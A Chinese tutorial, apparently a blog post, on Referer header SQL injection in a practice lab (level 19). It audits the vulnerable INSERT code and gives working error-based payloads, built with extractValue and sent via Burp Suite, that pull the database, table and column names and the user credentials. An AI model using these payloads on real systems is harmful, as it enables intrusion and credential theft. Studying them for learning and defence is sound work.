鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:HTTP头部注入——referer
注入
referer注入
referer
,即HTTP Referer
是头部信息header
的一部分,当浏览器向WEB服务器发送请求的时候,一般会带上Referer
,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
referer
的正确拼写是referrer
,由于早期HTTP规范的拼写错误,为了保持向后兼容就一直将错就错
常见用法:
- 防盗链:如只允许自己的网站访问自己的图片服务器。
- 自己的域名为
www.abc.com
,那么服务器每次提取到referer
来判断是不是自己的域名,是就可以继续访问图片,不是就拦截请求
- 自己的域名为
- 防止恶意请求:静态请求以
.html
结尾,动态请求以shtml
结尾。那么所有的动态请求,都可以referer
为自己的网站 - 空
referer
:空referer
的定义为:referer
头部的内容为空。或者,一个HTTP请求中不包含referer
头部
代码审计
对靶场第19节的内容进行代码审计。源码中对网页输入的用户名和密码进行检查
在check_input()
函数中对用户名和密码进行了如下的检查
使用insert
语句将referer
的内容插入到数据库中
PS:靶场的开发者应该是偷懒了,VALUE
的第一个参数应该是$referer
,开发者应该是复制的前面关卡的代码,没有将$uagent
改为$referer
其它问题
如果第19节网页中不回显报错信息,则将源码改为:mysqli_query($insert);
,因为PHP7不支持mysql_query($insert);
靶场测试
原理分析
在上面的insert
语句中包含VALUES ('$uagent', '$IP')";
,其中带有$
符号的为变量名,被用户输入的内容进行替代。
- 假设
referer
的内容为' #
,则VALUE
中的变量被替换为VALUE('' #','$IP')
,因为#
为注释符,后面内容不起作用,则变为:VALUE('' #
- 可以看出
VALUE
缺少第二参数和右侧的闭合括号,则将referer
的内容改为:', 2)#
,则完整内容为:VALUE('',2) #','$IP')
,由于注释符#
的原因,则真正起作用的是:VALUE('',2) #
- 结合报错注入,则构造的
referer
的内容应该为:' or extractValue(1,concat('^',(select database()))),2)#
靶场实测
打开靶场第19节,使用Burp suite
抓包
PS:一定要使用一个正确的用户名和密码进行登录
修改referer
中的内容为:' or extractValue(1,concat('^',(select database()))),2)#
,查询数据库名称
查询数据表名称、列名和数据
查询数据表名称:' or extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),2)#
查询数据列名称: ' or extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),2)#
查询数据信息:' or extractValue(1,concat('^',(select concat(username,':',password) from users limit 0,1))),2)#
- 这里没有使用
substr
控制字符长度,而是使用了limit 0,1
来逐条输出用户信息
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!